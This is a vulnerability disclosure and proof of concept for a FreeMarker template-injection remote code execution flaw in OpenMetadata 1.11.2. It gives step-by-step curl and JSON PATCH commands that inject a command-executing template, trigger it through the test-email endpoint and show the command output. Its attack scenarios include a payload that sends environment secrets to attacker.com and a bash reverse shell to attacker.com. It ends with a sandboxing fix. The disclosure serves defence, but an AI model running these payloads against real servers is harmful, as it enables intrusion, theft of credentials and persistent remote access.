CVE-2026-22244: OpenMetadata Server-Side Template Injection (SSTI) in FreeMarker email templates that leads to RCE

OpenMetadata RCE Vulnerability - Proof of Concept

Executive Summary

CRITICAL Remote Code Execution vulnerability confirmed in OpenMetadata v1.11.2 via Server-Side Template Injection (SSTI) in FreeMarker email templates.

Vulnerability Details

1. Root Cause

File: openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java

Lines 35-45 contain unsafe FreeMarker template instantiation:

java public Template getTemplate(String templateName) throws IOException { EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName); String template = emailTemplate.getTemplate(); // ← USER-CONTROLLED CONTENT FROM DATABASE if (nullOrEmpty(template)) { throw new IOException("Template content not found for template: " + templateName); } return new Template( templateName, new StringReader(template), // ← RENDERS UNTRUSTED TEMPLATE new Configuration(Configuration.VERSION2331)); // ← UNSAFE: NO SECURITY RESTRICTIONS! }

Missing Security Controls: - ❌ No setNewBuiltinClassResolver(TemplateClassResolver.SAFERRESOLVER) - Allows arbitrary class instantiation - ❌ No setAPIBuiltinEnabled(false) - Enables ?api built-in for reflection - ❌ No input validation - Template content not sanitized

2. Attack Vector (VERIFIED)

Step 1: Attacker with Admin role modifies EmailTemplate via PATCH endpoint

bash PATCH /api/v1/docStore/{templateId} Authorization: Bearer <adminjwttoken> Content-Type: application/json-patch+json

[ { "op": "replace", "path": "/data/template", "value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()><p>RCE: ${ ex(\"whoami\") }</p>" } ]

Step 2: Malicious template stored in MySQL database:

sql SELECT name, JSONEXTRACT(json, '$.data.template') FROM docstore WHERE name = 'account-activity-change';

-- Returns: <#assign ex=\"freemarker.template.utility.Execute\"?new()>...

Step 3: Trigger template rendering via email notification: - Password change - User invitation - Account activity notification - Test email (if SMTP configured)

Step 4: RCE execution in DefaultTemplateProvider.getTemplate():

java Template template = templateProvider.getTemplate("account-activity-change"); template.process(model, stringWriter); // ← COMMAND EXECUTES HERE AS SERVER USER!

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Exploit Verification

Environment

- Version: OpenMetadata 1.11.2 (Latest) - Platform: Docker Compose (MySQL 8.0 + Elasticsearch 8.11.4) - Test Date: December 15, 2025

Step-by-Step Reproduction

1. Deploy OpenMetadata 1.11.2

bash cd docker ./runlocaldocker.sh -m no-ui -d mysql

Result: ✅ OpenMetadata running on localhost:8585

2. Obtain Admin JWT Token

bash export NOPROXY=localhost,127.0.0.1 TOKEN=$(curl -s -X POST http://localhost:8585/api/v1/users/login \ -H "Content-Type: application/json" \ -d '{"email":"admin@open-metadata.org","password":"YWRtaW4="}' \ | grep -o '"accessToken":"[^"]' | cut -d'"' -f4)

echo "Token: ${TOKEN:0:50}..."

Result: ✅ Token obtained (654 characters, 1-hour expiry)

3. Identify Target Template

bash Get testMail template ID (used by test email endpoint) curl -s "http://localhost:8585/api/v1/docStore?entityType=EmailTemplate" \ -H "Authorization: Bearer $TOKEN" \ | jq -r '.data[] | select(.name=="testMail") | .id'

Result: ✅ Template ID: 855f58c6-1b80-467a-b92e-71c425e9bfdb

4. Inject RCE Payload

bash curl -X PATCH "http://localhost:8585/api/v1/docStore/855f58c6-1b80-467a-b92e-71c425e9bfdb" \ -H "Content-Type: application/json-patch+json" \ -H "Authorization: Bearer $TOKEN" \ -d '[{ "op": "replace", "path": "/data/template", "value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}" }]'

Result: ✅ HTTP 200 OK - Template modified successfully

Response Excerpt: json { "id": "855f58c6-1b80-467a-b92e-71c425e9bfdb", "name": "testMail", "entityType": "EmailTemplate", "data": { "template": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}" }, "changeDescription": { "fieldsUpdated": [ { "name": "data", "oldValue": "{\"template\":\"<!DOCTYPE HTML ...ORIGINALTEMPLATE...\"}", "newValue": "{\"template\":\"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>RCE OUTPUT: ${ex(\\\"whoami\\\")} - ${ex(\\\"pwd\\\")}\"}" } ] } }

5. Setup SMTP Server

bash Start MailDev SMTP server (catches emails for verification) docker run -d --name fakesmtp \ --network linhln31default \ -p 1025:1025 -p 1080:1080 \ maildev/maildev:latest

Update OpenMetadata SMTP configuration docker exec ommysql mysql -uopenmetadatauser -popenmetadatapassword \ -Dopenmetadatadb -e "UPDATE openmetadatasettings SET json=JSONSET(json, '$.serverEndpoint', 'fakesmtp', '$.serverPort', 1025, '$.transportationStrategy', 'SMTP', '$.enableSmtpServer', true, '$.senderMail', 'noreply@openmetadata.org' ) WHERE configType='emailConfiguration';"

Restart OpenMetadata to load new SMTP config docker restart omserver sleep 50 # Wait for server startup

Result: ✅ SMTP server ready at fakesmtp:1025

6. Trigger RCE Execution

bash curl -X PUT "http://localhost:8585/api/v1/system/email/test" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"email":"test@test.com"}'

Result: ✅ HTTP 200 OK - "Test Email Sent Successfully."

7. Verify RCE Execution

bash Check email content in MailDev docker exec fakesmtp cat /tmp/maildev-1/.eml | tail -10

Result: ✅ RCE CONFIRMED!

Email Content: Date: Mon, 15 Dec 2025 17:03:20 +0000 (GMT) From: noreply@openmetadata.org To: test@test.com Message-ID: <1307498173.2.1765818200564@62a9f8b5b6f2> Subject: OpenMetadata : Test Email MIME-Version: 1.0 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable

RCE OUTPUT: openmetadata - /opt/openmetadata

Command Execution Proof: - ✅ whoami command executed → returned openmetadata - ✅ pwd command executed → returned /opt/openmetadata - ✅ Commands ran as server process user - ✅ Full arbitrary command execution achieved

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Attack Scenarios

Scenario 1: Privilege Escalation

1. Attacker compromises Admin account (phishing, credential stuffing, etc.) 2. Injects RCE payload into password-reset template 3. Triggers password reset for target user 4. RCE executes as OpenMetadata server user during email rendering 5. Attacker gains shell access to application server

Scenario 2: Data Exfiltration

freemarker <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("cat /proc/self/environ | curl -X POST https://attacker.com/exfil -d @-")}

Exfiltrates environment variables containing: - Database credentials - API keys and secrets - JWT signing keys - Cloud provider credentials

Scenario 3: Reverse Shell

freemarker <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")}

Establishes persistent access for: - Interactive command execution - Lateral movement to connected systems - Database direct access - Kubernetes cluster compromise (if containerized)

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Impact Assessment

Technical Impact

- Confidentiality: HIGH - Access to database credentials, API keys, secrets - Integrity: HIGH - Full control over OpenMetadata application and data - Availability: HIGH - Ability to crash application, delete data, deny service

Business Impact

- Data Breach: Access to all metadata including sensitive schema information, PII mappings, data lineage - Compliance: GDPR, SOC2, HIPAA violations if exploited - Reputation: Critical security failure in data governance platform - Supply Chain: Potential pivot to connected data sources (70+ connectors)

CVSS 3.1 Score

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

- Attack Vector (AV): Network (N) - Attack Complexity (AC): Low (L) - Simple API requests - Privileges Required (PR): High (H) - Admin role required - User Interaction (UI): None (N) - Scope (S): Changed (C) - Impacts beyond application (server OS) - Confidentiality (C): High (H) - Integrity (I): High (H) - Availability (A): High (H)

Score: 9.1 (CRITICAL)

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Remediation

Immediate Fix (CRITICAL)

File: openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java

Replace lines 38-42 with:

java public Template getTemplate(String templateName) throws IOException { EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName); String template = emailTemplate.getTemplate(); if (nullOrEmpty(template)) { throw new IOException("Template content not found for template: " + templateName); } // SECURITY FIX: Create sandboxed FreeMarker configuration Configuration cfg = new Configuration(Configuration.VERSION2331); // Block dangerous built-ins cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFERRESOLVER); cfg.setAPIBuiltinEnabled(false); cfg.setClassicCompatible(false); // Restrict template loading cfg.setTemplateLoader(new StringTemplateLoader()); return new Template(templateName, new StringReader(template), cfg); } ---